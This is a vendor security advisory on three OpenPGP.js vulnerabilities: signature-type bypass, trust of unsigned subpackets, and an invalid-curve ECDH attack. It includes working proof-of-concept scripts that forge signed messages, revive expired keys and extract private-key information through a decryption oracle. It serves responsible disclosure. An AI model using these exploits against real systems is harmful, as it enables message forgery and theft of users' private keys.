SEC Consult Vulnerability Lab Security Advisory < 20190822-0 > ======================================================================= title: Multiple Vulnerabilities product: OpenPGP.js vulnerable version: <=4.2.0 fixed version: 4.3.0 CVE number: CVE-2019-9153, CVE-2019-9154, CVE-2019-9155 impact: critical homepage: https://openpgpjs.org/ found: 2018-2019 by: Wolfgang Ettlinger (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult Europe | Asia | North America https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "This project aims to provide an Open Source OpenPGP library in JavaScript so it can be used on virtually every device. Instead of other implementations that are aimed at using native code, OpenPGP.js is meant to bypass this requirement (i.e. people will not have to install gpg on their machines in order to use the library). The idea is to implement all the needed OpenPGP functionality in a JavaScript library that can be reused in other projects that provide browser extensions or server applications. It should allow you to sign, encrypt, decrypt, and verify any kind of text - in particular e-mails - as well as managing keys." URL: https://openpgpjs.org/ Business recommendation: ------------------------ SEC Consult was tasked by the German Bundesamt für Sicherheit in der Informationstechnik (BSI) with conducting a security audit of the Mailvelope browser extension as well as the parts of OpenPGP.js used by Mailvelope. During the course of this audit multiple security vulnerabilities with severities ranging from minor to critical have been identified. Some of the vulnerabilities with higher severity are published as an advisory. A more detailed description of the vulnerabilities as well as a description of other vulnerabilities found during this project can be found in the report that has been made available by the BSI: https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Publications/Studies/Mailvelope_Extensions/Mailvelope_Extensions_pdf.html Vulnerability overview/description: ----------------------------------- 1) Message Signature Bypass (CVE-2019-9153) OpenPGP defines several types of signatures with each type carrying a different semantic. Signatures are implemented as packets and each signature packet can contain subpackets. To indicate a message signature (e.g. a signed e-mail), the signature type "text" is used. The text signature packet verifies both its subpackets as well as the signed text. During verification of a message signature, OpenPGP.js does not verify that the signature is of type text. An attacker could therefore construct a message that, instead of a text signature, contains a signature of another type. As the input required for the verification process depends on the signature type, an attacker could use a signature with a type that only verifies its subpackets and does not require additional input. An attacker could construct a message that contains a valid "standalone" or "timestamp" signature packet signed by another person. OpenPGP.js would incorrectly assume this message to be signed by that person. 2) Information from Unhashed Subpackets is Trusted (CVE-2019-9154) OpenPGP signature subpackets contain information related to a signature (e.g. the creation timestamp). These subpackets may appear in a "hashed" and "unhashed" subpacket container. While the information in the hashed subpackets is signed, the unhashed subpackets are not cryptographically protected. OpenPGP.js however does not distinguish between these subpackets. When parsing a signature packet, the signed information is parsed first. When the unhashed packets are read, the information from the hashed packets is overwritten. An attacker could arbitrarily modify the contents of e.g. a key certification signature or revocation signature. As a result, the attacker could e.g. convince a victim to use an obsolete key for encryption. 3) Invalid Curve Attack (CVE-2019-9155) The implementation of the Elliptic Curve Diffie-Hellman (ECDH) key exchange algorithm does not verify that the communication partner's public key is valid (i.e. that the point lies on the elliptic curve). This causes the application to implicitly calculate the resulting secret key not based on the specified elliptic curve but rather an altered curve. By carefully choosing multiple altered curves (and therefore the resulting public key), and observing whether decryption fails, an attacker can extract the victim's private key. This attack requires the attacker to be able to provide multiple manipulated messages and to observe whether decryption fails. Proof of concept: ----------------- 1) Message Signature Bypass (CVE-2019-9153) The script message_signature_bypass.js (see below) demonstrates this issue. The function fakeSignature reads a signed message and replaces its content. It then replaces the signature with a standalone signature of the victim. 2) Information from Unhashed Subpackets is Trusted (CVE-2019-9154) The script unsigned_subpackets.js demonstrates this issue. It parses an expired key and adds additional unhashed subpackets that specify a different key expiration. When this newly-created key is parsed, it can be used for encrypting messages. 3) Invalid Curve Attack (CVE-2019-9155) The script in invalid_curve_attack.js demonstrates this issue. Note that since OpenPGP uses only the x-coordinate of the secret point, the oracle succeeds both when it calculates the same point as the attacker or when it calculates its inverse point. Therefore, the Chinese Remainder Theorem cannot be directly applied to the result. Instead, the script demonstrates that the remainders of the private key matches the corresponding gathered remainder. In order to fully implement this attack, an attacker could verify the results using other public key points with a non-prime order. Vulnerable / tested versions: ----------------------------- The version 4.1.2 was found to be vulnerable. The Invalid Curve attack is also viable against version 4.2.0. Vendor contact timeline: ------------------------ Vendor communication was conducted by the BSI as well as their contractors. Solution: --------- Upgrade to the latest version of OpenPGP.js. Workaround: ----------- None. Advisory URL: ------------- https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Europe | Asia | North America About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://www.sec-consult.com/en/career/index.html Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://www.sec-consult.com/en/contact/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF Wolfgang Ettlinger / @2019 Proof of concept scripts: message_signature_bypass.js -------------------------------------------------------------------------------- import * as key from "../../src/key"; import * as openpgp from "../../src/openpgp"; import * as cleartext from "../../src/cleartext"; import Signature from "../../src/packet/signature"; import base64 from "../../src/encoding/base64"; /** * public key of another user. */ const OTHERPUBKEY = ` -----BEGIN PGP PUBLIC KEY BLOCK----- Version: OpenPGP.js VERSION Comment: https://openpgpjs.org xsBNBFuqNY0BCADFUCnl03vimEQRs7mtDIp0g6tItuguhJJu1/QjXwTXUHZg pZosOPkGOR1EubydjYz4kvAnZ5r9cWA4xQ96rBdvj/kIaP+oJKLB1jXwh4Ft +8YT4mVU2yWLu7U2p4tSyRoM5VCDEqG64OcbZMwEdDKf8t6JTjYTtEfPfW5R 4hy8NjPYOx0Jw8MG+U0aP4WA1xsMXFP/VWF1IseEcVIWKs/VroJc5Xe80QDN hRtKTRVJV/wTnkao2MLcq/hgOfhO28NjnxVlX06O/XTWdElA7CCi1Zg1/BZ+ r2XuuE1J2DjERfTokFzkKnMlGK9zXn0LxPnAJAIfu33/SFuAZcVu4UEJABEB AAHNHVRlc3RpIFRlc3QgPHRlc3RAZXhhbXBsZS5jb20+wsB1BBABCAApBQJb qjWcBgsJBwgDAgkQVSCLLRis484EFQgKAgMWAgECGQECGwMCHgEAAGNXB/4g DX082p83RfMmBv8hRN1V9ruPAvlxDWNBHb5dc1Y67yrBXOLMtaSauSZKrbf1 moPDHT2eoLl7cV3BQbXWp+hiMZ4W53ZFJt26Kwwwf1yVRAZME7VRNwqW0aJv FKgCq7XTgJ61UYNhc31bLH0eVcfCkAExfwqZlwTWRzRSCqr0NL0XZVakJE6F al1Y+uN7CEr0/vbc6uSuo0hyZwxAw+Iynd5cO9PRXSssAm4IaulSnYUd96r2 l8jsa+p6ooBYPotnLQ9fdd457JMoc8jDHf4m+P9/ZiWpycCB0DgUtNw1wH2T DHYf+2lfGGoA3osuHeJJfZfJujbKW5L7ZMNJ23tSzsBNBFuqNY0BB/9XKYzS PdHC/dXoBC9un3YLCcUX6LMNnaQMryVONYKFE1Rt0/si9XtnIDqyBrTr3LRi D+GIR+b7zCXOGkvmjztblD2P3SweCudPIbVLxePI+SfyjRs9EsMOrEPymN7U u/CU7jefvNBKvvMHi1m1Ibqg/A+ZheqJ+xBjSQM88dWsY/XB/jh7PGAM0QEu ezafNwlUUNnXyYRuC3P4h66OIJcDPcfaao3uAuJ/C81E8ttuws3c08kudd/A szIGpPtxAakimiWVHa0ceKi3exXXjRDrufroPcV3+Gbn4J8NqcUPRhB3L3CD rCivRme8qGEYh+ADPLy88SytdtCr+6W4hiQVABEBAAHCwF8EGAEIABMFAluq NZ0JEFUgiy0YrOPOAhsMAABebggAxANqkwS/Ag3NQLUu/wNZMMifZAxpFIWo CQQrCOU94OSsUKz8Q11yoOvsQN3T4CSL8dG5DbIucnHsx39jVeTniG6P3p9f NE/lq7RtLnXjVgGYpPNNUbLcOfXaCDhmS4GEunwTsVlsmEqyfLniKLG8to5Q 6f/wGPJRvYB8rgLfVGV3DCvILg/CMzkceM9ia6jDQeHHwnoFVXnlsRAgQefJ rT5hVim4Wzg/5Lxt9Efry0k1ZhT0kondF1qNMv0wKxIJ+/gDNT2ZP4RIr1Kl eu6a8CH841yfF0+r5RV9xOky0jxwGgcxT29c8DBoawjXu6TtJ/SP8UrscttA bVLYdBmWLw== =nMyV -----END PGP PUBLIC KEY BLOCK-----`; /** * an original unmodified message as a template. */ const ORIGINAL = ` -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 You owe me € 10 -----BEGIN PGP SIGNATURE----- Version: OpenPGP.js VERSION Comment: https://openpgpjs.org wsBcBAEBCAAQBQJbq0iICRBVIIstGKzjzgAAeV0H/3ZxWuEV+2PNXHR+PdxX WRxjk6Zu+jjpb/iRS8IynRoe3iDaai3+iiAHM1GsHvOIBVJU6Bjx1ZyyEI0a dDg/yj3LBqBW9U3AiGpsXPfuyLKYIHfPbrygEleRIQKh7+iwNmn9ScVvzJrl hUurlZxx1mWbERAchwsrcZpwFCdfjJ/C9sblTxgnsm1YlYZNkf95DFtRnVO5 prUuOjqJ0bA7bxg5GA4FQskRPIQ0ioZ6DyDi2IU3rdVEOs2Pc8S0EsD9K7af vO5oXKiJsyUN5EXEI8kYRulP1l0kvEWVTlnY2ek1qS637RkBI+DHLcXV5Hcu fhGyl7nA7UCwgsqf7ZPBhRg= =nbjQ -----END PGP SIGNATURE-----`; async function getOtherPubKey(){ return (await key.readArmored(OTHERPUBKEY)).keys[0]; } /** * The "standalone" signature signed by the victim. */ const STANDALONE_PKT = base64.decode(` BAIBCAAQBQJbq3MKCRBVIIstGKzjzgAAWdoIALgj7OuhuuAWr6WEvGfvkx3e Fn/mg76lh2Hawxq6ryI6+kzUH+YJsG94CfLgGuh5LghZFBnlkdZS11gK87fN +ifmPdSDj8fsKqSFdX1sHGwzvzBcuPt+qhtHrACCWwiiBgajIOmIczKUlX4D ASBkthx0o9Qb/r3dT91zmrniIK5I0yqe34/1rsHhOAf8ds2EubupFJJqFOb1 qssMWE+jBrTREoD/EH5q7un2jEGccITcVQSZCqfjHT4EL6dF/bmuggf7wV/E QLXfFIJS6cZczK86XW1pGaXBKRLvQXYa/eRWHKcGlrujdFKzJYRoT6LVDk8T jhAfE9q2ElqlaAvZZYw=`); async function fakeSignature(){ // read the template and modify the text to // invalidate the signature. let fake = await cleartext.readArmored( ORIGINAL.replace( 'You owe me', 'I owe you')); // read the standalone signature packet const tmp = new Signature(); await tmp.read(STANDALONE_PKT); // replace the "text" signature with the // "standalone" signature fake.signature.packets[0] = tmp; const faked_armored = await fake.armor(); console.log(faked_armored); // re-read the message to eliminate any // behaviour due to cached values. fake = await cleartext.readArmored(faked_armored); // faked message now verifies correctly const res = await openpgp.verify({ message: fake, publicKeys: await getOtherPubKey(), streaming: false }); console.log(res); } export default {fakeSignature}; -------------------------------------------------------------------------------- unsigned_subpackets.js -------------------------------------------------------------------------------- import * as key from "../../src/key"; import List from "../../src/packet/packetlist"; import * as openpgp from "../../src/openpgp"; import * as message from "../../src/message"; import * as packet from "../../src/packet/all_packets"; import enums from "../../src/enums"; /* * This key is long expired and cannot be used for encryption. */ const INVALID_KEY = ` -----BEGIN PGP PRIVATE KEY BLOCK----- Version: OpenPGP.js VERSION Comment: https://openpgpjs.org xcMGBDhtQ4ABB/9uAfnjiE8HLfFrk4AzYIoxISvIbqDlItn3Mk2RK4iGTaAL h+hN8BrqOopgdHj5c3pTo6VDvJLieHwymdZ3d296L55zt2ichhVIgRxh20Tv j0dYLKGIEWDMBKvQNoDi83eGrIeHGNjRDOipr/PD251LzwaeiNVyw8ce2Fpd 1ORbC2MJU57C2appZqeMJsWPCnsHNkhxPyRGdp+vifgizi/lt2DcQ6C6EiJx HV0jFDPJnb69LxKLUelRH+l/b2ZHTONu2pZwUXcFpjA5yTrSzO/kaUtGu/Cz 3euQ3scEtvMXgO2R9H7halxYwyXL/PPLmgaUt1RNXGC7BZjkUW4n8qd/ABEB AAH+CQMITYNkFGQHMiJgt2s69CHTfwUUZg1Yfcq8alY7GpqeH4CayWCMPI+v l7kIJdl2b9N/xGnpaUMmaXJts6AtlIBLwzxg0syIfgRv4/wfrVeruJ9TfCFC NbKP3lk3FZCGF0I4T1FSNvyPJ//ee1cX7U/gM7A2g5xyBFnH5d8LTUDlQjXb a+BwYN2TZaFrvlWwMIU+NQa+EOiyAwXsgyQbVn2d7JsUUs/lyEG2xkWNTeqe FWKJJvyDwixsxd7oobBSM6Krt2TreuelPBFQxKyaYyv81gASga9wxyfbIuTG 7wAKW9i4pFMgrrIABcnNKOyeAgMDcAYXAW3eNbYDCIDL9/AuOUotPR+0pEun WssAZGBM78ZlJZ1Qnbg9nT0rn4pHrFQHnBxlWyPEqj1mZ0Svc0vXHVH+8JgN pwOGxo7DiF5lL/bphdFVMF2e+UPoc1efO4cpW+ZH/BOug14dJROfkrPhrUTp nYu6VF9N723YVT9PDTg79E4kIzjMDvhV1odHSaxfl4VtgueYv+Bt3n2nXdME XZVBXbp7jO7pTS5HsOBcModos8ZYS5RcaHPJ6H8807hFyva4GThZ744ryV8b XnROoC+d/xR4ShA4f/f9QszMXZ+Xlh4IU3Ccz5PF5UiZ/nC5ho5KzJphBB53 c78gjRIXeUK1Rgj2AquF3KDOjCm60oazKzXv8316ZODNJr+HVvGSKeq85z9Z z/BfXUtn+PrmzHxegusZfFCpB6YAJCILsHgJ2gT8v26QF+1CJ3ngHVnSkghR z64zJexeqA8ChTZnhPbHVhh5qx2hlNTofBV29LJGa/EpMykO5pZiuaSEkmZx RpU+iKNYKa3U516O8f9yj+UZ5/t2SJRpT+9fro3RB4lUnt/RdkY8q2R+3owo xr4sYaInfvrs3eCsmh5UtygUVARKrK84zR1UZXN0aSBUZXN0IDx0ZXN0QGV4 YW1wbGUuY29tPsLAewQQAQgALwUCOG1DgAUJAAAACgYLCQcIAwIJEMwSTBo3 j0N5BBUICgIDFgIBAhkBAhsDAh4BAAD2TQf+KQbrX2zO9SL5ffCK5qu2VigM 0E3uF763II9vRYfXHdZtXY/8K/uBLbu2rdZHwwb/jAHEe60Qf5VjcbIMtCfA khPB5JuCvW+JEsYhXplNxYka27svfWI75/cYVc/0OharKEaaPOv2F8C1k2jL Sk7Az01IAJkdwmBkG6fUwupevuvpO+kUQjsHg35q8Lm7G8roCYiK7K7/JQi3 K+e0ovVFvunFSORaG8jR37uT7X7KA0LHD3S7XYO0o2OJi0QKB1wN3H3FEll0 bFznfdIzKKIDzGwC/zhpUMGMwsqVLb8sw/H9cr82yPoM6pXVUqnstKDlLce8 Dc2vwS83Aja9iWrIEg== =dvRO -----END PGP PRIVATE KEY BLOCK-----`; async function getInvalidKey(){ return (await key.readArmored(INVALID_KEY)).keys[0]; } async function makeKeyValid(){ /** * Checks if a key can be used for encryption. */ async function encryptFails(k){ try{ await openpgp.encrypt({ message: message.fromText('Hello', 'hello.txt'), publicKeys: k }); return false; }catch(e){ return true; } } const invalidkey = await getInvalidKey(); // deconstruct invalid key const [pubkey, puser, pusersig] = invalidkey.toPacketlist().map(i => i); // create a fake signature const fake = new packet.Signature(); Object.assign(fake, pusersig); // extend expiration times fake.keyExpirationTime = 0x7FFFFFFF; fake.signatureExpirationTime = 0x7FFFFFFF; // add key capability fake.keyFlags[0] |= enums.keyFlags.encrypt_communication; // create modified subpacket data pusersig.unhashedSubpackets = fake.write_all_sub_packets(); // reconstruct the modified key const newlist = new List(); newlist.concat([pubkey, puser,pusersig]); let modifiedkey = new key.Key(newlist); // re-read the message to eliminate any // behaviour due to cached values. modifiedkey = (await key.readArmored( await modifiedkey.armor())).keys[0]; console.log('original key can be used for encryption: ' + await encryptFails(invalidkey)); console.log('modified key can be used for encryption: ' + await encryptFails(modifiedkey)); } export default {makeKeyValid}; -------------------------------------------------------------------------------- invalid_curve_attack.js -------------------------------------------------------------------------------- import BN from 'bn.js'; import packet from '../../src/packet'; import util from '../../src/util'; import enums from '../../src/enums'; import * as key from "../../src/key"; import * as message from "../../src/message"; import Literal from '../../src/packet/literal'; import List from '../../src/packet/packetlist'; import streams from 'web-stream-tools'; import MPI from '../../src/type/mpi'; import pkcs5 from '../../src/crypto/pkcs5'; import Curve from '../../src/crypto/public_key/elliptic/curves'; import KDFParams from '../../src/type/kdf_params'; import cipher from '../../src/crypto/cipher'; import hash from '../../src/crypto/hash'; import aes_kw from '../../src/crypto/aes_kw'; import ECDHSymmetricKey from '../../src/type/ecdh_symkey'; const EC_PUBKEY = ` -----BEGIN PGP PUBLIC KEY BLOCK----- mFIEW8SNLhMIKoZIzj0DAQcCAwRWVtfOjt3E+P7SN6Ra7KID3jXaKRLDEZ4E2RFL 2L40Dh35fGL0jAoLdu/UMt8PCqHeGgoJ10WwmXy0Zf1NP8R7tBxUZXN0IEVDIDx0 ZXN0ZWNAZXhhbXBsZS5jb20+iJAEExMIADgWIQTFndNi1wI0akSCVA4VdOdzKGTd iAUCW8SNLgIbAwULCQgHAgYVCgkICwIEFgIDAQIeAQIXgAAKCRAVdOdzKGTdiIwS AQC/uZIzSitNh/uHSgyK5J9DMYpCE7+upoFEMkykuTzePwEAs8FtwlBrCVBsuEKM j8H6NwQCLGHkyRzV7GZAZySfhvK4VgRbxI0uEggqhkjOPQMBBwIDBD5Z+C8fwzqF EN3DdxklRkITVA8g9qm7JVOBoopwGpU9B+AMfZ/IoIGesPISeUHxjhwnqOiV1JEG PsGwn76PQMYDAQgHiHgEGBMIACAWIQTFndNi1wI0akSCVA4VdOdzKGTdiAUCW8SN LgIbDAAKCRAVdOdzKGTdiEfaAP9JYqqlAbdml0gmKF0k4T017iR5TJh8Ezfw+fkh /NR6EwEAjmIt73UGGN3nRwNDe/gIPYgdfSl/UTrsNp2txYOf2uM= =+ZmX -----END PGP PUBLIC KEY BLOCK-----`; const EC_PRIVKEY = ` -----BEGIN PGP PRIVATE KEY BLOCK----- lKUEW8SNLhMIKoZIzj0DAQcCAwRWVtfOjt3E+P7SN6Ra7KID3jXaKRLDEZ4E2RFL 2L40Dh35fGL0jAoLdu/UMt8PCqHeGgoJ10WwmXy0Zf1NP8R7/gcDAnQDfW7FFwFF /l2EPxcUZpY7Zpcaa97P4475Bmkndeo7KhuflWdbIFsEKM5cb+Xk9wZ8SHZig9Nm LyNZC13Lqy5rmHR08LcpClDWE8mCsfe0HFRlc3QgRUMgPHRlc3RlY0BleGFtcGxl LmNvbT6IkAQTEwgAOBYhBMWd02LXAjRqRIJUDhV053MoZN2IBQJbxI0uAhsDBQsJ CAcCBhUKCQgLAgQWAgMBAh4BAheAAAoJEBV053MoZN2IjBIBAL+5kjNKK02H+4dK DIrkn0MxikITv66mgUQyTKS5PN4/AQCzwW3CUGsJUGy4QoyPwfo3BAIsYeTJHNXs ZkBnJJ+G8pypBFvEjS4SCCqGSM49AwEHAgMEPln4Lx/DOoUQ3cN3GSVGQhNUDyD2 qbslU4GiinAalT0H4Ax9n8iggZ6w8hJ5QfGOHCeo6JXUkQY+wbCfvo9AxgMBCAf+ BwMCh/RXQLPRRSj+Hcj2uOGwMM05/C7lUJ1aurofTcgjAlmWGbKhIJLqj0Hq1osz sv2AZ5U5rwZ61p9cQFysfiejh/OYB+z3FINGzQWpw3Y+poh4BBgTCAAgFiEExZ3T YtcCNGpEglQOFXTncyhk3YgFAlvEjS4CGwwACgkQFXTncyhk3YhH2gD/SWKqpQG3 ZpdIJihdJOE9Ne4keUyYfBM38Pn5IfzUehMBAI5iLe91Bhjd50cDQ3v4CD2IHX0p f1E67DadrcWDn9rj =9EwO -----END PGP PRIVATE KEY BLOCK-----`; const CURVE = new Curve('P-256'); const SYM_CIPHER = 'aes256'; const PRIV_D = new BN('11797007539199385125641572351435364350673179296018766191601014072423508068615'); const TEST_POINTS = [ // b/a6; order of P; P[x,y] ['5', '2', '98819847942428805742002354006386840019676525869315184973139125710807339875491', '0'], ['3', '3', '89995002874197087156160429731648695860910221822426040658975619972952380673767', '14349743460558275675129535079038365302062743301233311020938192075259646708873'], ['23', '5', '63299982345700198063353570193894599876572651739624919554705621677380969280674', '96442819104977226429929288529785941822383850900946373821682009079064557791950'], ['3', '7', '89160674440956328538893206540265823545209810924936759489615962285452747599555', '62955846380480372470115555824131491746042536932809546767926959568475857403238'], ['19', '11', '58920820228436110477414420630582848223113258950692053215844449413027764807067', '110179718074794243460368093718134459142293006700423197428813351010117956372449'], ['3', '13', '44238399751822344629155927349410921734336660036385908812849527496419061724190', '4582951479554514988676358786998889641332277566820648791779967644967496848142'], ['109', '17', '17927964409971138652728246043528631371865820326714379259847933275531087147749', '30800248157467050855258955303292756235364211822327328126929717140797206265755'], ['67', '19', '94215742596664355763556374536865647352108659301549715056650556226595744117873', '50130610228151740308562832667998985973624580555152187184122910949305207982696'], ['127', '23', '88359545017768082137294926955323595057003028909805462896395409625305400047868', '54112579719242259787714362707451997943186422010055931088163137855740170177055'], ['173', '29', '86443834505398368747541705619520241500349370284819012868009839319064688979357', '80015722605306309353568523033623834985342634148401880386307336407545023436334'], ['43', '31', '91847825971795436592151657785964290062665859257041291008218510105946059955847', '91031528799630671629033833758356019053863861887932785625452607629858020218662'], ['3', '37', '71381269501775968128475011265598269069347980821218846743948246753286064412420', '93106089722491605224338586731271529062359787069042949543385151555752345954179'], ['233', '41', '43991960325622526242409226214578587740189171800201587535472979450082902259862', '15600544845409782768611472264443243044394203501519498893540695266090327718430'], ['157', '43', '12274862506702509875113914612268962703761782785031974993160665646710313663076', '95106848031904584287127109765628529543290490385081928258900582115783776703854'], ['131', '47', '7428821579639826286284862627746264659875870105081582900827577359900673827956', '51189665812209617453731229331251417202029435178998418713899794182944298865975'], ['419', '53', '75859648055029409455865113279970721519934091368225816034520984120734110333831', '95581074059699239966948801790300570572974347056525814413181002371237633129138'], ['479', '59', '98373757836628605615020603017111994292556920936052115669565113245393394654891', '72500066514606177149994150826027803811170746818463795801313779365320099538143'], ['137', '61', '18245045085014103226803496427136065515743934499788427019064558373208344985742', '47584263871384878914016113675999314893028949794229685588431475797515837837074'], ['79', '67', '51728919783263616872528295880942597381937454345405015064087305503012144368703', '102594247662633837296012240032351535373401256404586076493187297578088776500987'], ['311', '71', '34366239163666275753532452043325391580231219277633707141512413289465049265458', '103060830222018513212956786480202757115408693616152549420310878044629041925302'], ['41', '73', '83097459118513469275826669550926695448169702101975661346254858719508169997335', '111037453149205789034862016011015162163927656343750047369969247334466461280298'], ['241', '79', '40662496711232280435859193025508895658589420058170365279669118583382524567418', '62266237065031986209521024406634439035208614650354645619801963767196649194575'], ['659', '83', '62656129840107795390857188284682401256953936037612730677880278151859277379230', '46123976333697537171152454914506938246987800142649072659529204542516503075828'], ['163', '89', '62208108064214628162465906210284422850497400076701347209605724056009117585346', '67091612523444786985224121556704075108029161656305500397805276695782627715495'], ['3', '97', '39783941623575229603558838170588552262835547156130238646122164276335076451073', '43777069262503404828209754573766008393026998991107699634127779211510340436936'], ['163', '101', '66806037006315039028624064294948042364334466613093489461090376899139124448503', '38686564246583255952103022559646527059806572091197794052555736415581573949963'], ['2671', '103', '23265766501544966939730317619663876344143611261056514672607491296171816151553', '106387627627932257485486968846096068700564244331050621772859845969053198485058'], ['127', '107', '15339214204614054203971206010297006012519512260204273418911962745130965080297', '64830511127612473536500769683518604970088172806885131849075550583321199431619'], ['31', '109', '27543911308163802695600330183709640972305886344075866471535352981201105074796', '82376910207266830617694198136990735359788102369861097690596404526706997497300'], ['3', '113', '69473202296790888221989641114439625856056410065759153429712028574142323887235', '27224964365716519755044877081930694306533217160896231828903674165207513413426'], ['1373', '127', '68558907993158138443631381606898830203570924798868797278121675277887760778594', '68216978687919774395283639914856247796135789149617875144856281895628396778604'], ['1811', '131', '46360777840572611880507819054875480848689245727971401003402678035053970174517', '107112531431155716165835164581658854159107546745963916197741297712740539470937'], ['653', '137', '69512361800692778808247441943826439340870762665479208902672548057906989416214', '99383953562155778695339938473590829645432946810497224654365997199566131986410'], ['4049', '139', '102722354417533001653384103241141084615993149515297230604148764829691728804428', '85678556460194642118469326134294437121318569058467935457887468472654673400061'], ['1123', '149', '16395588304231505290388028297731583547710683967129944573954956393328565397819', '107260005474350000384651668597310488232319852173106957252364199212754972812012'], ['431', '151', '42359789528389328251531626938183337715028835000706770034635762262575432516670', '22736290261645403538646298832296905012873089680206586710123732308386751567809'], ['373', '157', '96024749202718052206594365116883364523707730864195537045509495365919086964327', '107212834839043197811345745920821509813276600168378673026121671213341510299283'], ['3191', '163', '20281866306378275211057666201079939791897084728521172859690132598441934128175', '20596227103545413506126265293047792280335377930727559033403106220295308315761'], ['97', '167', '94846489967597784331507114114430171360140590112481371445147609109642819592485', '15704288556197652933999724264817667666927917654184003641438123066819536680530'], ['2441', '173', '11874524432135988482877265172783164604461054772391413252387383428109777353330', '37126617997732059376328531134968769729808115463324034788331894253550783781800'], ['271', '179', '105100506292119181923341212649319616099766672947890318066584215703336589003206', '89837502042012770374554723345685447300861161635973416248710339646950026197059'], ['631', '181', '49376117472029344135930860015593532374439331445989099411877590416805255800087', '108575969169039541164641729422661716969417421645708907288819300640977306958595'], ['557', '191', '59777258716921308865085380739515533260634149503105494695114405605464445328608', '52829286317822727767652772108834115344972087581610199341408867054294161044877'], ['1723', '193', '59045664363082875413388718802595476166529359787215154310590811305802614712232', '27284637898375575867062579464405076125897799191531494792786855805151832798828'] ]; function kdf(hash_algo, X, length, param) { return hash.digest(hash_algo, util.concatUint8Array([ new Uint8Array([0, 0, 0, 1]), new Uint8Array(X), param ])).subarray(0, length); } function buildEcdhParam(public_algo, oid, cipher_algo, hash_algo, fingerprint) { const kdf_params = new KDFParams([hash_algo, cipher_algo]); return util.concatUint8Array([ oid.write(), new Uint8Array([public_algo]), kdf_params.write(), util.str_to_Uint8Array("Anonymous Sender "), fingerprint.subarray(0, 20) ]); } export async function encryptSessionKeyEc(sessionKey, publicKey, testPrivKey, pubPoint, date=new Date()) { const packetlist = new packet.List(); const encryptionKey = await publicKey.getEncryptionKey(undefined, date, {}); const pkESKeyPacket = new packet.PublicKeyEncryptedSessionKey(); pkESKeyPacket.encrypt = async function (key) { let data = String.fromCharCode(enums.write(enums.symmetric, this.sessionKeyAlgorithm)); data += util.Uint8Array_to_str(this.sessionKey); const checksum = util.calc_checksum(this.sessionKey); data += util.Uint8Array_to_str(util.writeNumber(checksum, 2)); const toEncrypt = new MPI(pkcs5.encode(data)); const oid = key.params[0]; const kdf_params = key.params[2]; const res = await ecdhEncrypt( oid, kdf_params.cipher, kdf_params.hash, toEncrypt, key.getFingerprintBytes(), testPrivKey, pubPoint); this.encrypted = [ new MPI(res.V), new ECDHSymmetricKey(res.C) ]; return true; }; pkESKeyPacket.publicKeyId = encryptionKey.getKeyId(); pkESKeyPacket.publicKeyAlgorithm = encryptionKey.keyPacket.algorithm; pkESKeyPacket.sessionKey = sessionKey; pkESKeyPacket.sessionKeyAlgorithm = SYM_CIPHER; await pkESKeyPacket.encrypt(encryptionKey.keyPacket); delete pkESKeyPacket.sessionKey; // delete plaintext session key after encryption packetlist.push(pkESKeyPacket); return new message.Message(packetlist); } async function ecdhEncrypt(oid, cipher_algo, hash_algo, m, fingerprint, testPrivKey, pubPoint) { const param = buildEcdhParam(enums.publicKey.ecdh, oid, cipher_algo, hash_algo, fingerprint); cipher_algo = enums.read(enums.symmetric, cipher_algo); const v = CURVE.curve.keyPair({ priv: testPrivKey, pub: pubPoint }); // simulate decrypt operation const S = v.derive(pubPoint); const Z = kdf(hash_algo, S, cipher[cipher_algo].keySize, param); const C = aes_kw.wrap(Z, m.toString()); return { V: Uint8Array.from(pubPoint.encode()), C: C }; } async function attack(oracle){ const sesskey = util.str_to_Uint8Array('A'.repeat(32)); const literal = new Literal(); literal.text = 'test'; const remainders = {}; let bitsToGuess = 0; let requests = 0; for(let [b, prime, x, y] of TEST_POINTS){ remainders[prime] = [0]; const pubPoint = CURVE.curve.curve.point(new BN(x), new BN(y)); prime = prime*1; for(let i=1; i<prime; i++){ const msg = await encryptSessionKeyEc(sesskey, (await key.readArmored(EC_PUBKEY)).keys[0], new BN(i), pubPoint); const symEncPkt = new packet.SymEncryptedIntegrityProtected(); symEncPkt.packets = new List(); symEncPkt.packets.push(literal); await symEncPkt.encrypt(SYM_CIPHER, sesskey, false); msg.packets.push(symEncPkt); const success = await oracle(await streams.readToEnd(msg.armor())); requests++; if(success){ const r = (i%prime); remainders[prime] = [r, prime - r]; bitsToGuess += 1; break; } } console.log(`remainders of ${prime}: ${remainders[prime].join(',')}`); } console.log(`required ${requests} requests, ${bitsToGuess} bits have to be guessed`); return remainders; } async function demonstrate(oracle){ const privkey = (await key.readArmored(EC_PRIVKEY)).keys[0]; privkey.decrypt('test') const remainders = await attack(oracle); // verify result for(let [mod, rem] of Object.entries(remainders)){ let found = false; for(let remainder of rem){ if(PRIV_D.mod(new BN(mod)).eq(new BN(remainder))){ found = true; } } if(!found){ throw new Error('attack failed'); } } console.log('attack successful'); } async function invalidCurveAttack(){ const privkey = (await key.readArmored(EC_PRIVKEY)).keys[0]; privkey.decrypt('test') demonstrate(async (m) => { m = await message.readArmored(m); try{ const msg = await m.decrypt([privkey]); const text = await streams.readToEnd(msg.getText()); return true; }catch(ex){ return false; } }); } export default {invalidCurveAttack}; --------------------------------------------------------------------------------
Attachment:
smime.p7s
